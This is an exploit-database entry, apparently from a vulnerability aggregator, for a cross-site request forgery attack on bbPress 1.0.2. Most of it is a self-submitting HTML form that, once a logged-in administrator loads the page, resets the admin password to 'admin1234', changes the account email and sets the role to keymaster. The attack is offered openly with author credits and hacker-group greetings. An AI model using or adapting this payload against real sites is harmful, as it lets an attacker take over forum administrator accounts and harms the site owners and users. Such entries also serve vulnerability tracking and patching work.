bbPress 1.0.2 CSRF Change Admin Password

🗓️ 01 Jul 2014 00:00:00Reported by RootType

bbPress v 1.0.2 CSRF Change Admin Password on www.bbpress.or


                                                : # Software      : bbPress v 1.0.2                                          :
: # site          : www.bbpress.org                                          :
: # date          : 29/6/2010                                                : 
: # Author        : saudi0hacker                                             :
: # Date          : May 25, 2010                                             :
: # Type : CSRF                                                              :
: # Greetz to     : pr.al7rbi : so busy : evil-ksa : Dr.dakota : v4-team.com :
:----------------------------------------------------------------------------:

&#60;html&#62;
 &#60;body onload=&#34;document.forms[&#39;Login&#39;].submit();&#34;&#62;
&#60;form method=&#34;post&#34; name = &#34;Login&#34; action=&#34;http://localhost/bb/profile.php?id=1&tab=edit&#34;&#62;

&#60;select type=&#34;hidden&#34; name=&#34;display_name&#34; id=&#34;display_name&#34;&#62;
&#60;option type=&#34;hidden&#34; id=&#34;display_displayname&#34; value=&#34;admin&#34;&#62;admin&#60;/option&#62;
&#60;input type=&#34;hidden&#34; name=&#34;user_email&#34; id=&#34;user_email&#34;  value=&#34;[email protected]&#34; /&#62;
&#60;input  id=&#34;_wpnonce&#34; name=&#34;_wpnonce&#34; value=&#34;98dfb69b68&#34; /&#62;&#60;input type=&#34;hidden&#34; name=&#34;_wp_http_referer&#34; value=&#34;/bb/profile.php?id=1&tab=edit&#34; /&#62;
&#60;select type=&#34;hidden&#34; id=&#34;admininfo_role&#34; name=&#34;role&#34;&#62;
&#60;option value=&#34;keymaster&#34; selected=&#34;selected&#34;&#62;Key Master&#60;/option&#62;
&#60;input name=&#34;pass1&#34; type=&#34;hidden&#34; value= &#34;admin1234&#34; id=&#34;pass1&#34; autocomplete=&#34;off&#34; /&#62;
&#60;input name=&#34;pass2&#34; type=&#34;hidden&#34; value= &#34;admin1234&#34; id=&#34;pass2&#34; autocomplete=&#34;off&#34; /&#62;
&#60;input type=&#34;submit&#34; name=&#34;Submit&#34; value=&#34;save&#34; /&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1